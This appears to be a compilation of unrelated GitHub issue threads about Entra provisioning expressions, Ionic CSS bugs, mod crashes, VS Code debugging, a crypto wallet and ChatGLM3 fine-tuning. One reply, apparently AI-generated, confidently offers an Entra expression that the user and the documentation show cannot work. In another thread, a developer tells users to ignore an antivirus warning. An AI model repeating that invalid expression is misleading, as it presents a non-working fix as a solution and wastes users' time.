Nesting for function SelectUniqueValue not working

Hi,
Has anyone found a solution to the need of nesting SelectUniqueValue?
We need to be able to select the domain of the email address of the provisioned user depending on the value of employeeClass on the side of SuccessFactors.
I've tested this:
Switch([employeeClass], Join("@", Join("", "CORP", [personIdExternal]), "contoso.com"),
"123", SelectUniqueValue(
	Join("@", NormalizeDiacritics(StripSpaces(ToLower(Join(".",  Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]))))), "contoso.com"),
	Join("@", NormalizeDiacritics(StripSpaces(ToLower(Join(".",  Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]), "A")))), "contoso.com"),
	Join("@", NormalizeDiacritics(StripSpaces(ToLower(Join(".",  Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]), "B")))), "contoso.com")
),
"124", SelectUniqueValue(
	Join("@", NormalizeDiacritics(StripSpaces(ToLower(Join(".",  Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]))))), "external.contoso.com"),
	Join("@", NormalizeDiacritics(StripSpaces(ToLower(Join(".",  Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]), "A")))), "external.contoso.com"),
	Join("@", NormalizeDiacritics(StripSpaces(ToLower(Join(".",  Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]), "B")))), "external.contoso.com")
))

But returns an error saying that SelectUniqueValue cannot be nested.
So I rotated the usage of the functions to this:
SelectUniqueValue(
	Switch([employeeClass], Join("@", Join("", "CORP", [personIdExternal]), "contoso.com"), "123", Join("@", NormalizeDiacritics(StripSpaces(ToLower(Join(".",  Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]))))), "contoso.com"), "124", Join("@", NormalizeDiacritics(StripSpaces(ToLower(Join(".",  Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]))))), "external.contoso.com")),
	Switch([employeeClass], Join("@", Join("", "CORP", [personIdExternal]), "contoso.com"), "123", Join("@", NormalizeDiacritics(StripSpaces(ToLower(Join(".",  Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]), "A")))), "contoso.com"), "124", Join("@", NormalizeDiacritics(StripSpaces(ToLower(Join(".",  Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]), "A")))), "external.contoso.com")),
	Switch([employeeClass], Join("@", Join("", "CORP", [personIdExternal]), "contoso.com"), "123", Join("@", NormalizeDiacritics(StripSpaces(ToLower(Join(".",  Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]), "B")))), "contoso.com"), "124", Join("@", NormalizeDiacritics(StripSpaces(ToLower(Join(".",  Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]), "B")))), "external.contoso.com"))
)

But this returns an array of values instead of the first Unique:
["name.surname@external.contoso.com","name.surname.a<EMAIL_ADDRESS>
Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: c8685339-06af-5bb1-64da-80c16878b0bf
Version Independent ID: 1ee0d812-00de-90cc-f5e2-d53e3b610bf0
Content: Reference for writing expressions for attribute mappings in Microsoft Entra Application Provisioning - Microsoft Entra ID
Content Source: docs/identity/app-provisioning/functions-for-customizing-application-data.md
Service: active-directory
Sub-service: app-provisioning
GitHub Login: @kenwith
Microsoft Alias: kenwith

@sergiopadure
It would be great if you could add a link to the documentation you are following for these steps? This would help us redirect the issue to the appropriate team. Thanks!!

@sergiopadure It would be great if you could add a link to the documentation you are following for these steps? This would help us redirect the issue to the appropriate team. Thanks!!

Hi, I've been using this as reference: https://learn.microsoft.com/en-us/entra/identity/app-provisioning/functions-for-customizing-application-data
But going a bit beyond what's indicated there because of our specific needs.

@sergiopadure
Thanks for your feedback! We will investigate and update as appropriate.

@sergiopadure
Hello! It seems like you are still trying to generate unique email addresses for each user based on their employeeClass value, but the expressions you have tried so far are not giving you the desired result.
To generate a unique email address for each user based on their employeeClass value, you can try using the following expression:
Join("@", NormalizeDiacritics(StripSpaces(ToLower(Join(".", Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]))))), Switch([employeeClass], "CORP", Join("", [personIdExternal], "@contoso.com"), "123", SelectUniqueValue(Join(".", Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]), "a", "@contoso.com"), Join(".", Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]), "b", "@contoso.com")), "124", SelectUniqueValue(Join(".", Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]), "a", "@external.contoso.com"), Join(".", Coalesce([preferredName], [firstName]), Coalesce([preferredSurname], [lastName]), "b", "@external.contoso.com")))
This expression uses the Switch function to determine the domain based on the value of employeeClass, and then concatenates it with the email address generated by the Join function. For the "123" and "124" cases, it uses the SelectUniqueValue function to generate a unique email address based on the user's name and a suffix.
Let me know if this helps!

@AjayBathini-MSFT I don't think a Copilot/ChatGPT answer would help here, especially since that was one of the first things I tried myself...
As indicated within my post, SelectUniqueValue cannot be nested, so the AI-generated expression you've provided wouldn't work.

@sergiopadure
Thanks for your feedback! I've assigned this issue to the author who will investigate and update as appropriate.

This function SelectUniqueValue can not be nested, as indicated in documentation.

This function must be at the top-level and cannot be nested.
#please-close

#please-close

This function SelectUniqueValue can not be nested, as indicated in documentation.
* This function must be at the top-level and cannot be nested.

As indicated in the message I'm very aware of that, which is why I was looking for an additional solution, but nesting switch doesn't work either as switch is not outputting the array of strings it's supposed to but rather an array of arrays which then SelectUniqueValue cannot parse...

#please-reopen


ionic 2 menu grey square

Short description of the problem:
When using the project created by ionic start mem2 tutorial --v2 and running on android 5.1.1 device.
When the app starts up:

When I toggle the menu and then hide it. (note the grey square under the hamburger menu)

What behavior are you expecting?
I would expect the images to look the same (note the grey square under the hamburger menu).
Steps to reproduce:

ionic start mem2 tutorial --v2
ionic run android
Swipe the menu right and left / toggle it by the "toggle menu" button or hamburger menu button and swipe back. Apparently the bug doesn't exhibit itself each time you run the app.

When the grey square is present, it seems that pressing the blue button makes it go away.
Cordova CLI: 6.1.1
Ionic Framework Version: 2.0.0-beta.6
Ionic CLI Version: 2.0.0-beta.25
Ionic App Lib Version: 2.0.0-beta.15
OS: Distributor ID:	Ubuntu Description:	Ubuntu 15.10
Node Version: v5.10.1

Ahh good catch! I can see this with our sidemenu starter on Android 5.1.1, Android 6.0.1 and Android N dev preview 2.

I'm experiencing the same problem with Ionic 1 (version Delhi and higher).

+1 in Ionic 2 beta 7

+1 occurs in platform:ios too when using chrome debugger

Found out this only occurs when the content doesn't overflow the particular screen size being tested (when you aren't able to scroll for a particular view). Hope this helps someone with finding the root cause.

Hello all , this has been fixed for our beta.10 release. If you would like to try it out early you can install the latest ionic 2 nightly with sudo npm install ionic-angular@nightly. There are some very minor breaking changes in this release that we will have full upgrade instructions for when we release but the biggest thing is that
<ion-navbar *navbar>
</ion-navbar>

should be changed to this
<ion-header>
  <ion-navbar>
  </ion-navbar>
</ion-header>

Thanks for using Ionic!

Seeing this issue again with the latest nightly. Reopening to investigate more.

Exactly the same issue.

Note for the team: Did some debugging on this and got some really weird results. If you inspect the page with chrome dev tools that little grey square does not seem to be in the dom.

I still see the little gray square on both ios and android devices with beta10

It is also reproduced on ionic 1.3.
I found steps:

Open app
Open active (the same) page through slide menu
Result:
Small grey box in empty list. When I'm trying to change any style of content (in chrome dev tools) - the box is gone, even I revert my changes.... it's really strange...

I've noticed two things when I play around in the chrome dev tools, but neither really help with finding the cause of it but could help with the DOM location (ion-header or scroll-content or my testing could just be wrong all together!).
First off, if you untick the ion-header element property position: absolute; the header goes back to position: static; which hides the header behind the ion-content as this element is 100% height and width. So this must mean it is something to do with the ion-header element right?
And second, I've also noticed that if you increase the property margin-top:56px; to lets say 100px on the scroll-content element inside the ion-content this causes the square to move further down the screen.
So two different thiings seem to affect the grey square but are not child or parent elements they are more sibling / adjacent to each other. Hmmmm
Note: changing values in chrome inspector cause the square to disappear, so you have to open and close the menu again to see where it gets re-positioned.

I think i've came to the conclusion that it is the scrollvar of the scroll-content element!!
On the scroll-content element if you change overflow-y: scroll; to overflow-y:auto; it gets rid of it. And also if you change overflow-x: hidden; to oveflow-x:scroll; the grey square changes slightly due to the vertical and horizontal scrollbars overlapping. :)

Something else that seems to make the square disappear is when you do the following
<ion-content fullscreen="true">
I hope this information is helpful for implementing a fix

i started to see this more often in beta11 than beta8

Hello! Happy to report that i can no longer reproduce this issue with the latest nightly. Because of this, I am going to be closing this issue for now. Thanks for using Ionic!

@jgw96 please reopen, the bug is there again.

@jgw96 The issue occured for me in modal page (.modal-wrapper). I fixed it with overflow-y:auto on .scroll-content.
Version: 2.0.0-rc.1-201610191717 (nigtly)

@jgw96 i'm getting the square box in rc1 as well.

Also getting this in rc1

@jgw96 also happening to me in rc1.

In my case, that only happen if I have inputs and these don't have placeholder...

ion-content fullscreen="true"
still fixing it on rc1

@felipeands it is not a fix, probably the grey box is there behind navbar.... =)

This is also happening to me on ionic 1.3.2. Can a fix be implemented for ionic v1 as well?
I tried the suggestion to set
.scroll-content{     overflow-y: auto; }
Which seems to fix it when your main content is displayed, however, when I open the left side menu, it appears again, but disappears when the menu is closed.

same issue in rc2 also

@WHarris22 is right, with fullscreen="true" the menu grey square doesn't appear

Alos seeing this with rc3 when focus on input

Same here with rc3, the only workarounds for me was:

set overflow, overflow-y or overflow-x (depends on the situation) to auto

::-webkit-scrollbar,
*::-webkit-scrollbar {
      display: none;
}

Hello all! Are you guys still seeing this in RC4 ?

Yep it's back in RC4

I'm seeing this with 1.3.2 too (in a side menu). The scroll-content fix worked for me 👍

I'm facing this in 2.1.0 (fresh install). <ion-content fullscreen="true"> is a valid workaround in the meanwhile btw... Any real fix regarding this issue would be very much appreciated. Thanks

OK, I had a moment to look at this. The box that we see is a "scrollbar" for a page where it is not needed. Happens only by toggling menu. All examples with this gray box, has a content of elements that do not require overflow.

This fixed the issue and for content that really needs "scrollbar" on the right everything works fine. Just let you know.

It does not happen for the right side menu

For the record, Ionic 2.3.0, our grey square friend is still displayed.
To avoid it I continue to use the fullScreen attribute of the content.

In ionic 1.3.3 I have removed the grey square setting "overflow: auto;" (in css) to the ion-content tag.

in 3.0.1 i still can see it

It occurs for the left side-menu

Facing the same issue with ionic 3.

i am facing same issue for grey square friend in ionic 2 please check attach screenshot it
`ion-content{
overflow: auto;
}
::-webkit-scrollbar, *::-webkit-scrollbar {
display: none;
}`
this solutions work but it will hide scroll bar to throughout project so thats why its not help full for me

Please fix asap for grey square friend!!!

@jgw96 Unfortunately I am also experiencing this one. I updated the framework to the latest version.
At first it is not there. However, after opening and closing the menu once it is there. I see this on Android 7.1.2.
Also here is ionic info.
global packages:
@ionic/cli-utils : 1.4.0
Cordova CLI      : 7.0.0
Ionic CLI        : 3.4.0

local packages:
@ionic/app-scripts              : 1.3.7
@ionic/cli-plugin-cordova       : 1.4.0
@ionic/cli-plugin-ionic-angular : 1.3.1
Cordova Platforms               : android 6.1.2 browser 4.1.0
Ionic Framework                 : ionic-angular 3.4.2

System:
Node       : v7.3.0
OS         : Linux 4.10
Xcode      : not installed
ios-deploy : not installed
ios-sim    : not installed
npm        : 4.6.1

Its occurring for the left side menu

As soon as I tap on the main content screen it appears. Using ioinic framework 3.4.2 as well.

Bug is still here in Ionic 3.4.0..

+1

Still happening un 3.4.2 :(

Happening for me in 3.4.1 for both the left and right side menu. Only when the content doesn't require a scroll.
It is definitely a part of div.scroll-content as you can set top: 20px !important and watch it move down next time.
I set a long async list and it appeared while the list was unpopulated and then disappeared as soon as the async call returned and the list was populated.

Happening for me too in 3.4.1 for left side menu.
For the time being i have tried the following and fixed.
scroll-content{
overflow-y: auto !important;
}

It's happening also in 3.5.0

@WHarris22 I think its .scroll-content

Still in 3.12.0 :(

it is still

Esto me funciono

I tried this:
<ion-menu class="full-width">...</ion-menu>

.full-width {
    width: 50%;
    display: flex
}

I am also noticing this in many of my ionic apps, even with the newest 3.7.1 version. Has anyone been able to solve it yet?

Still there...

@brandyscarney Is there something preventing the resolution of this issue ?
From what I've read in https://github.com/ionic-team/ionic/pull/10431 and https://github.com/ionic-team/ionic/issues/6022#issuecomment-228110736, the overflow-y: scroll on scroll-content is only there to make ios users happy with momentum scrolling.
As said in https://github.com/ionic-team/ionic/issues/6022#issuecomment-279400592, this can be fixed in the following way:
.content .scroll-content {
    overflow-y: auto;
}
.content-ios .scroll-content {
    overflow-y: scroll;
}

Could we have that in 3.7.2 ? It is a bit annoying to have to have fixes like these in our stylesheets ?

I found this bug as well, in a totally unrelated project (not an ionic project)...and it's somehow appearing only when I'm using hammerjs. Can somebody confirm this?

Same issue 3.9.2

how to remove squire object once click my button. thank you

@marcusaaronb That's the outline CSS property. Browsers have a default styling added. There's a lot of reasons to keep the outline, for example mentioned here: Stop Messing with the Browser's Default Focus outline
In terms of a native app, if you don't plan on having it accessible on the web but just from app stores, then you can get rid of it using the following:
:focus {
    outline: none;
}

In ionic 4 aplha 2 also have same  found this issue since ionic 2

This problem still happening on ionic 3.9.2
`
ionic info
cli packages: (/usr/local/lib/node_modules)
@ionic/cli-utils  : 1.19.2
ionic (Ionic CLI) : 3.20.0

global packages:
cordova (Cordova CLI) : 8.0.0

local packages:
@ionic/app-scripts : 3.1.9
Cordova Platforms  : android 6.4.0
Ionic Framework    : ionic-angular 3.9.2

System:
Android SDK Tools : 26.1.1
ios-deploy        : 1.9.2
ios-sim           : 6.1.2
Node              : v9.9.0
npm               : 5.7.1
OS                : macOS High Sierra
Xcode             : Xcode 9.3.1 Build version 9E501

Environment Variables:
ANDROID_HOME : /Users/user/Library/Android/sdk

Misc:
backend : pro

`
Workaround proposed by @patwaswapnil works like a charm

.scroll-content{
overflow-y:auto !important;
}


Merge pull request #1 from Microsoft/master

Update to latest changes

Hi @pk-codebox-evo, I'm your friendly neighborhood Microsoft Pull Request Bot (You can call me MSBOT). Thanks for your contribution!

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. Real humans will now evaluate your PR.

TTYL, MSBOT;

Looks like no changes, closing.


Fix more factors tests

Configure rustls to use ring instead of new aws-lc-rs core which was causing CI build problems for Ubuntu and Windows
Switch TomlResolver::state_dir from std::fs::canonicalize to std::path::absolute which doesn't require the path to exist
Side-quest: Fix integration_tests::bad_build_test when RUST_LOG is set by parent shell

@rylev FYI I'm YOLOing this in to fix the build


Update to 1.19.4

Update dependencies
Update mixin
Rename "fabric" to "fabric-api" in fabric.mod.json (recent change Fabric-side)
Add "minVersion" to mixin config (gets rid of the trivial "Mixin ... does not specify "minVersion" property" error in log during startup)

Got crash
crash-2023-04-01_00.32.57-client.txt

Got crash
crash-2023-04-01_00.32.57-client.txt

@HhiPyrene I can't reproduce with the set of mods in your crash log :(
Although, I may not have the exact same set of mods, since some of them weren't available via CurseForge nor Modrinth... (i.e. GitHub Actions)
Would you be able to archive your config + mods folders in a ZIP or what have you, and share a link to it here? (hopefully the legality of that isn't questionable enough to get me in trouble)

latest.log
crash-2023-04-08_12.35.00-client.txt
Though the other mods disabled, it still crashed. Maybe it broke QUILT, which seems a trouble.

@HhiPyrene I still can't reproduce, even with your exact setup :(
Minecraft: 1.19.4
Quilt: 0.19.0-beta.2
QFAPI / QSL: QFAPI 6.0.0-beta.2 + QSL 5.0.0-beta.1
SwordBlocking: 1.3.0 (my fork)
I'll try changing the InGameHud mixin from a @Redirect to an @Inject; maybe that'll fix it?

I know why. Gradle 8.0 made the build broken, confusing us. I tried to use Gradle 7.5.1 to build again and it worked fine.
:
build.zip

I know why. Gradle 8.0 made the build broken, confusing us. I tried to use Gradle 7.5.1 to build again and it worked fine.
:/
My mistake. build.zip

Thank you very much :)


Fix local ollama

When setting Local Ollama as the llm backend and trying to setup a model, the "model" field will have no available options while remain to be required.

Move OpenAI to a standalone constants.js file. (Do we want to keep the OpenAI model list up-to-date? (https://platform.openai.com/docs/api-reference/models/list))

Thank you!


org.gradle.configureondemand causes build failure in multi module project

After upgrading AGP from 4.2 to 7.0.2 I get a similar error:
What went wrong:
Execution failed for task ':core-testing:dependencies'.
> Could not resolve all dependencies for configuration ':core-testing:debugRuntimeClasspath'.
   > A problem occurred configuring project ':features-core'.
      > java.lang.IllegalStateException: Accessing GradleBuildProject.Builder through AnalyticsConfiguratorService is not allowed after AnalyticsService is created.

But setting org.gradle.configureondemand = false solves the problem.
Use:
gradle-7.2
AGP-7.0.2

I cannot identify any features.
Can you tell me what this error means, maybe it will lead to certain thoughts?
java.lang.IllegalStateException: Accessing GradleBuildProject.Builder through AnalyticsConfiguratorService is not allowed after AnalyticsService is created.

This is definitely from AGP's side: seems that an issue was filed on February of 2023, so I'm guessing it can be closed


[Trravis-CI] Turn off mulitple messages for linter validation

Reference Build: https://travis-ci.org/Azure/azure-rest-api-specs/jobs/235411153#L1082

Thanks for the review!!

No modification for Ruby

No modification for NodeJS

No modification for Python


chore: rename execution payload header type guard

Motivation
Align execution payload header type guard naming with type and spec
Description
Rename execution payload header type guard
isBlindedExecutionPayload --> isExecutionPayloadHeader

:tada: This PR is included in v1.20.0 :tada:


[ci] Unset PYTHONPATH on gclient sync

Fixes the recent gclient sync error (Windows build).
The utils.py script has been added to depot_tools as of 0399e17 and it conflicts with a script with the same name used by download_dart_sdk.py.

Early merge to fix build error of #262


Associate mods with moods

Mods are going to have different feels to them. For example, the Cyborg Chronicles mod has a tech-y feel to it.
Along with the creation of a mod should be the definition of a font. This font should have the look and feel of the mod. Going back to the Cyborg Chronicles example, it's font might be something that looks like robot writing.

In the case that the user does not have a font, there should be backup fonts

Maybe, the mod can optionally specify different fonts for different types of text (title text, card text, error text, etc). And, of course, backups for those fonts, too.

To take it one step further, the mod can also specify color, and where these colors should go. Again with the Cyborg Chronicles example, maybe a cool steel blue could be used for the background of a game/match.

Cyborg Chronicles has it's own style on http://cardshifter.com. Compare the Cyborg Chronicles page with the mods root page. Maybe parts of this can be reused for the client style?

I think this could be achieved fairly simply on the web client. Let's leave this open for libGDX, but I'll create a separate issue on doing this with CSS/AngularJS for web client.


Continuous metrics not working

Hi,
When using a continuous metric such as mse, Scan will throw an error when its _run method is called. This happens when it calls epoch_entropy from talos.metrics.entropy which requires val_acc to be in the history dictionary. This only happens if accuracy is used as the metric. For example, if the selected metric is mae, val_mean_absolute_error will be in the history dictionary in place of val_acc.
Kind regards,
Harry

Thanks for raising this. I should be able to take care of this tomorrow (Wednesday).

Sounds great, thanks!

Closing this now. Feel free to open a new one if you still have issues.


Drag the column location after the sorting operation.

Triggered when I drag change the position of the column column sorting, with what method can prevent sort?Also want to retain when click on the column header to sort.

when i drag the column, it does not sort. cannot reproduce.


missing db vscode api

Db wasn't set up in the new version.

Thank you for adding this, @user135711. It's very much appreciated.


Rename Finnish independence day

Currently the Finnish independence day is named "Labour Day", it should be named "Independence Day" instead.

thx for the fix


Virus Detected by AVG

On windows it's detected virus by AVG, please fix this issue.
Thanks

Source Code: https://github.com/iochen/skillshare-dl
Build & Release Process: https://github.com/iochen/skillshare-dl/runs/2869365622
If you like, you can see everything I had done to this tool.
Sorry, I cannot fix it, either ignore the warning or stop using this tool.


AppMode strange behavior on Quest

Description
Hi! I updated my Rust binding with the commits published yesterday. The fishing rod works really well on the Quest 2, except for the buttons that crackle when the trigger is activated (a problem that toggles and radio buttons don’t have, as they only trigger on a state change).
The more troublesome issue relates to the SKSettings mode (AppMode) parameter: On the Quest 2, I have the following mappings:
Local corresponds to Floor.
Floor corresponds to Local.
Stage surprisingly has the power to swap left and right for my movement tool using the sticks. 🎮
Platform / Environment
rust binding. Linux 23.10 gnome wayland + Quest 2

I guess also, you probably mean origin mode, not app mode? AppMode.XR should be the only option that makes much sense on Quest.

of course yes.

I do see some strange behavior with origin mode. Local is quite solid. Stage seem to be behaving pretty fine, a little odd in stationary boundary mode, but still reasonable. Floor is giving me some unexpected results, which is a little odd since Quest directly supports that extension.

I believe that you fixed the problem of the camera waltzing rather than rotating. And I wonder if that might not be the origin of the problem. For example, every time the virtual keyboard opens, it opens at my belly button.
I checked my code and didn't see anything unusual.
EDIT : I tested again and the watz problem occurs with Stage but not with Floor ... So maybe you didn't fix it  ... I guess you should implement my little IStepper FlyOver to see the problem. it was odd before 0.40 and it's more odd now.
https://github.com/mvvvv/StereoKit-rust/blob/master/src/tools/fly_over.rs


Dogehouse app doesn't remove tray icon after the app closes

Describe the bug
In the Dogehouse electron application the system tray icon is not removed after the app closes, which causes an error if you try to close it again with the tray or if you try to left click on the tray icon
To Reproduce
Steps to reproduce the behavior:

Open Dogehouse app
Open the system tray
Right Click on Dogehouse icon
Click on "Quit Dogehouse"
Go to step 3 until step 4
See error

Expected behavior
The Dogehouse tray icon should be removed when the application closes
Screenshots

What device are you on?
Desktop, Windows 10
Additional context
Add any other context about the problem here.

hmmmm

This is what I used to fix this in my electron apps but there might be a better way. (just a suggestion)
mainWindow.on('close', () => {
  tray.destroy();
});

tray.destroy() isn't what we're looking for as the issue lies with the app not even closing properly. i have a fix in mind and will release an up date soon.


调试适配器进程已意外终止

Issue Type: Bug
不能调试nodejs程序，F5提示调试适配器进程已意外终止。
VS Code version: Code 1.21.0 (9a199d77c82fcb82f39c68bb33c614af01c111ba, 2018-03-07T11:04:09.969Z)
OS version: Windows_NT x64 10.0.16299

System Info

Item
Value

CPUs
Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz (8 x 3592)

Memory (System)
15.93GB (9.80GB free)

Process Argv
C:\Program Files\Microsoft VS Code\Code.exe

Screen Reader
no

VM
67%

Extensions: none
Reproduces without extensions

Translated into English is:
Cannot debug Nodjs, "F5" shows that the debug adapter process crashed by accident.
The title is:
Debug Adapter Process crashed by accident.

What debugger are you using?

ms-vscode.node-debug2

What version of node are you using?
What is your launch config?
What kind of node program are you debugging?
Please open the Developer Tools ("Toggle Developer Tools") after the crash and post a screenshot of the output here.

node v8.9.4
launch config {
// 使用 IntelliSense 了解相关属性。
// 悬停以查看现有属性的描述。
// 欲了解更多信息，请访问: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "启动程序",
"program": "${workspaceFolder}/HelloWorld.js"
}
]
}
console.log("hello world");

Does this happen every time? Are there any errors in the Debug Console?

@roblourens  Yes, it happens every time I use it.
ESLint error:     The ESLint server crashed 5 times in the last 3 minutes. The server will not be restarted.

I Hava the same issue...

I met the same issue when I run the python code , how did you solve this problem? Thank you.

i do not know how to handle it. reinstall is no use. later i used sublime3 . now i use a new PC. it can work.
At 2018-03-25 11:44:23, "Anysomeday"<EMAIL_ADDRESS>wrote:
I met the same issue when I run the python code , how did you solve this problem? Thank you.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.

Maybe some extension problems. I uninstall  to solve this problem.
if can't uninstall,go to <<C:\Users\YOU PC ACCOUNT.vscode\extensions>> ,find the node-debug2 folder and remove it

今天更新到1.22.1版本 ，这个问题就解决了，可以调试node了。


Fix export c for Ref elements

Ref elements are not exported correctly. We need to create a cleri_ref() object and later use the cleri_ref_set() function to actually set the object.

Fixed by implementing a export function for the Ref element for the C language.


Tower API supports search. Can Tower-cli support this?

So for example do
tower-cli job_template search "my awesome job"

and it will return the appropriate job. In the background it calls
https://<tower-url>/api/v1/job_templates/?search=%22my%20awesome%20job%22

To answer the question, sure, I don't see any problem supporting this. We could add it in the format you propose, which would be some derivative of the list view.
Keep in mind that this can be done now with the -q parameter to the list command.
Also, you can search related fields, so one might want that command to allow, for instance, searching by the job template's inventory.

okay I will use the -q option and see how that works. Thanks for the response.


Update StatViewController.java

I changed "Spigot" to "XenForo", though I think this may be a file for the Chrome extension. I have no idea since I do not develop.

Cheers.


Translation PTBR archive

Heey!
I tried uploading to Nexus but it didn't work. So here u go. If there's anything that need correction or something like that let me know.
Thank you so much again for this amazing mod!
pt.json
*PS: Sorry for not doing Ingestion/Internalization thing, I don't understand anything about coding and I have zero skills in it.

Shipped it!


Voting Tab Blank

Hi,
When I navigate to Vote tab it opens empty window
I had changed for other nodes and I still getting the same error, where I can get the log error from the app?

This happened to me as well. And it did not allow me to stake either when using ledger.  It just kept spinning.  If I plan to hodl, should I be staking?

I get the same thing. Blank screen on voting tab.

I am using https://eos.greymass.com and wallet version v0.10.0, seems to work without issues.

I have a blank screen on the Permissions window. All other windows are fine.

I have a blank screen on the voting tab also.  Will this issue be addressed?  I would like to vote for block producers only using my ledger and not expose my private key.  Thanks.

Yes

I have a blank screen on the voting tab, is this an issue with the application?

I have the same issue. Click on VOTING tab causes a blank page to appear.  I have to restart wallet every time to get out of the blank screen.

Same issue here. 4 months since the first post? Anybody even trying to resolve this?

Same issue here. 4 months since the first post? Anybody even trying to resolve this?

I stopped use this software, because has loads of bugs, I am connecting my ledger nano s using:
https://bloks.io
works like a charm,
I will close this issue, because looks like a abandoned project.

Thanks @douglasdeodato. That is really helpful.


Expose world transform on Actor

We currently only expose the local transform of the actor. This makes it hard to do positional math between objects in hierarchies. World transform is also needed in order to track the position of actors attached to avatars (incoming feature).
"World" transform would actually be app-relative.
// local position (exists now):
actor.transform.position;
// app-relative position:
actor.world.position;

We should probably rename transform to local:
actor.transform.position -> actor.local.position;

Soren mentioned that the world transform is a well-established concept with expectations that aren't true here. I agree with that.
Maybe app would be better. The notion of an app-relative transform is unique to MREs (where the location of the app in the scene is the origin), so app could work. Putting transform first would make it more discoverable and give it some context:
actor.transform.local.position;
actor.transform.app.position;

Just throwing out possibilities. We can lock a design next week.

An approach that would be back-compatible would be to not have the local field at all, just adding app. The type would look something like:
type ActorTransform = Transform & {
    app: Transform;
};

And use it exactly how we do now, unless you want to access the app coordinates. In that case you'd go though the app field:
actor.transform.position; // local position
actor.transform.app.position; // app-relative position

Sorry for the Saturday spam!

Out for review. PR#284


make each of the toolchain elements a link

I don't know all of these.  Please make each a link to the correct document
Power BI
Azure Data Catalog
Azure SQL Data Warehouse
Azure Cosmos DB
Azure Database for PostgreSQL
Azure Database for MySQL
Azure Database for MariaDB
Azure Database for PostgreSQL Hyperscale
Azure Data Lake
Azure Database Migration Service
Azure SQL Database, with or without managed instances
Azure Data Factory
Azure Stream Analytics
SQL Server Integration Services
Azure Stack
SQL Server Stretch Database
Microsoft Azure StorSimple
Azure Files
Azure File Sync
PolyBase

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 8e4e9b66-e21e-9b0b-4fb8-131646d7540f
Version Independent ID: 8efc6c81-9d7f-fa77-ebfd-ad983f77ab2a
Content: Innovation tools to democratize data - Cloud Adoption Framework
Content Source: docs/innovate/best-practices/data.md
Service: cloud-adoption-framework
Sub-service: innovate
GitHub Login: @BrianBlanchard
Microsoft Alias: brblanch

Thanks for reporting - this issue is under review.  This is a Microsoft Internal DevOps Bug ID AB#191324

This issue has been resolved. Thanks!


多轮对话微调报错

System Info / 系統信息
无
Who can help? / 谁可以帮助到您？
无
Information / 问题信息

[X] The official example scripts / 官方的示例脚本
[X] My own modified scripts / 我自己修改的脚本和任务

Reproduction / 复现过程
https://github.com/THUDM/ChatGLM3/blob/main/finetune_demo/README.md
我是根据官网这个多轮对话微调做的，自己整理了一些相同格式的数据，
finetune_pt_multiturn.sh只改了基础模型路径改成了本地加载，还有数据集路径。
然后根据官网文档操作提示显存爆了，我是两张T4的卡（可用显存共30G左右）
以下是报错日志
<<<<<<<<<<<<< Sanity Check
11/22/2023 16:24:25 - WARNING - accelerate.utils.other - Detected kernel version 3.10.0, which is below the recommended minimum of 5.5.0; this can cause the process to hang. It is recommended to upgrade the kernel to the minimum version or higher.
Loading checkpoint shards: 100%|██████████| 7/7 [00:15<00:00,  2.21s/it]
[WARNING|modeling_utils.py:3297] 2023-11-22 16:24:26,695 >> Some weights of ChatGLMForConditionalGeneration were not initialized from the model checkpoint at /jcdata/workspace/ChatGLM3/model and are newly initialized: ['transformer.prefix_encoder.embedding.weight']
You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.
/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/transformers/optimization.py:411: FutureWarning: This implementation of AdamW is deprecated and will be removed in a future version. Use the PyTorch implementation torch.optim.AdamW instead, or set no_deprecation_warning=True to disable this warning
warnings.warn(
[INFO|trainer.py:577] 2023-11-22 16:24:31,233 >> max_steps is given, it will override any value given in num_train_epochs
/root/anaconda3/envs/chatglm3-demo/lib/python3.10/site-packages/transformers/optimization.py:411: FutureWarning: This implementation of AdamW is deprecated and will be removed in a future version. Use the PyTorch implementation torch.optim.AdamW instead, or set no_deprecation_warning=True to disable this warning
warnings.warn(
[INFO|trainer.py:1786] 2023-11-22 16:24:34,257 >> ***** Running training *****
[INFO|trainer.py:1787] 2023-11-22 16:24:34,257 >>   Num examples = 276
[INFO|trainer.py:1788] 2023-11-22 16:24:34,257 >>   Num Epochs = 375
[INFO|trainer.py:1789] 2023-11-22 16:24:34,257 >>   Instantaneous batch size per device = 1
[INFO|trainer.py:1790] 2023-11-22 16:24:34,257 >>   Total train batch size (w. parallel, distributed & accumulation) = 32
[INFO|trainer.py:1791] 2023-11-22 16:24:34,257 >>   Gradient Accumulation steps = 16
[INFO|trainer.py:1792] 2023-11-22 16:24:34,257 >>   Total optimization steps = 3,000
[INFO|trainer.py:1793] 2023-11-22 16:24:34,258 >>   Number of trainable parameters = 1,835,008
0%|          | 0/3000 [00:00<?, ?it/s]11/22/2023 16:24:34 - WARNING - transformers_modules.model.modeling_chatglm - use_cache=True is incompatible with gradient checkpointing. Setting use_cache=False...
11/22/2023 16:24:34 - WARNING - transformers_modules.model.modeling_chatglm - use_cache=True is incompatible with gradient checkpointing. Setting use_cache=False...
